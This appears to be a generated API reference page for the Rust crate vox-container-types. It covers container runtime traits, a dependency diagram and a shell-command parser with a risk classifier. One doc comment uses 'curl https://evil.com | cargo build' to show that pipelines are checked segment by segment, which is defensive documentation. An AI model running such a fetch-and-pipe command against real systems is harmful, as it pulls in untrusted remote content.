Skip to content

vox-container-types API Reference (generated)

Crate: vox-container-types · Version: 0.6.0 · Target: Library (lib.rs)

Pure types and traits for OCI container runtime abstraction — zero I/O, L0 crate.

Pure types and traits for OCI container runtime abstraction. Zero I/O, zero process execution — safe to depend on from any layer.

  • [ContainerRuntime] — the abstract OCI backend trait
  • [BuildOpts] / [RunOpts] — structured options
  • [RuntimePreference] — backend selection hint
  • [exec_grammar] — pure shell AST parser + risk classifier
ModuleDescription
detect—
exec_grammar—
Dependency Topology, diagram 14 nodes, 3 edges: vox-container → vox-container-types; vox-deploy-codegen → vox-container-types; vox-plugin-runtime-cont… → vox-container-typesvox-container-typesvox-containervox-deploy-codegenvox-plugin-runtime-container
Diagram source
graph {
direction: right
node vox_container_types: "vox-container-types"
node vox_container: "vox-container"
vox_container -> vox_container_types
node vox_deploy_codegen: "vox-deploy-codegen"
vox_deploy_codegen -> vox_container_types
node vox_plugin_runtime_container: "vox-plugin-runtime-container"
vox_plugin_runtime_container -> vox_container_types
}
Consumer CrateRole
vox-containerDirect workspace dependent
vox-deploy-codegenDirect workspace dependent
vox-plugin-runtime-containerDirect workspace dependent
KindSymbolSignatureSourceDescription
enumdetect::RuntimePreferencepub enum RuntimePreferencecrates/vox-container-types/src/detect.rs#L5-L13Preferred runtime selection strategy.
fnexec_grammar::parsepub fn parse(raw: &str) -> Result<ExecAst, ParseError>crates/vox-container-types/src/exec_grammar/mod.rs#L38-L40Parse raw into an [ExecAst]. Risk level is Unknown until you call [risk::classify]. Returns Err only on structural parse failures (unmatched quotes, empty input).
fnexec_grammar::parse_pipelinepub fn parse_pipeline(raw: &str) -> Result<Vec<ExecAst>, ParseError>crates/vox-container-types/src/exec_grammar/mod.rs#L48-L50Parse raw as a pipeline, returning one [ExecAst] per pipe segment. curl https://evil.com | cargo build → two ASTs: one for curl, one for cargo build. Policy must be checked against all returned ASTs. Returns Err on unmatched quotes or if every segment is empty.
enumexec_grammar::ParseErrorpub enum ParseErrorcrates/vox-container-types/src/exec_grammar/mod.rs#L54-L59Errors returned by [parse] and [parse_pipeline].